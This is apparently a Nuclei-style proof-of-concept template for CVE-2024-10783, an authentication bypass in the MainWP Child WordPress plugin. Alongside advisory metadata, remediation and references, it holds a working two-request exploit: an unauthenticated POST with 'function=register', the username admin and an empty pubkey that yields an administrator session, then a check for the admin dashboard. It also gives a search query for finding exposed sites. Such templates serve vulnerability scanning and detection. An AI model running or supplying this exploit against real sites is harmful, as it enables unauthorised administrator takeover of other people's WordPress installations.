The plugin is vulnerable to an authentication bypass that allows an unauthenticated user to login as an administrator without providing a password. This vulnerability is only exploitable when the plugin has not been connected to a MainWP Dashboard and the "Require unique security ID" option is not enabled (it is disabled by default).
PoC
id: CVE-2024-10783
info:
name: WordPress Plugin MainWP Child - Authentication Bypass
author: Sean Murphy,iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The plugin is vulnerable to an authentication bypass that allows an unauthenticated user to login as an administrator without providing a password. This vulnerability is only exploitable when the plugin has not been connected to a MainWP Dashboard and the "Require unique security ID" option is not enabled (it is disabled by default).
impact: |
Unauthenticated attackers can bypass authentication to gain administrator access when the plugin is not connected to MainWP Dashboard and unique security ID is not enabled.
remediation: |
Update MainWP Child plugin to a version newer than 5.2.
reference:
- https://wpscan.com/vulnerability/1898d4f4-1874-4d00-8930-15774d57c9ed/
- https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-child.php#L76
- https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-connect.php#L69
- https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-connect.php#L788
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3197586%40mainwp-child&new=3197586%40mainwp-child&sfp_email=&sfph_mail=
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2024-10783
cwe-id: CWE-862
epss-score: 0.02369
epss-percentile: 0.82963
metadata:
verified: true
max-request: 2
publicwww-query: "/wp-content/plugins/mainwp-child/"
tags: cve,cve2024,wp,mainwp-child,wpscan,wordpress,wp-plugin,auth-bypass,vuln
flow: http(1) && http(2)
variables:
username: admin
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
function=register&user={{username}}&pubkey=
matchers-condition: and
matchers:
- type: word
part: header
words:
- wordpress_logged_in
internal: true
- type: word
part: body
words:
- '<mainwp>'
internal: true
- raw:
- |
GET /wp-admin/index.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Howdy, {{username}}'
- type: status
status:
- 200
# digest: 4b0a00483046022100ba19990c823b989b907ede92e5303a1063bc007501846d4e97daa109624b6fdf022100b75d98922b0c3219b7b797067776e708f2b8b9601f27c8313a2091ab339ec2fc:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.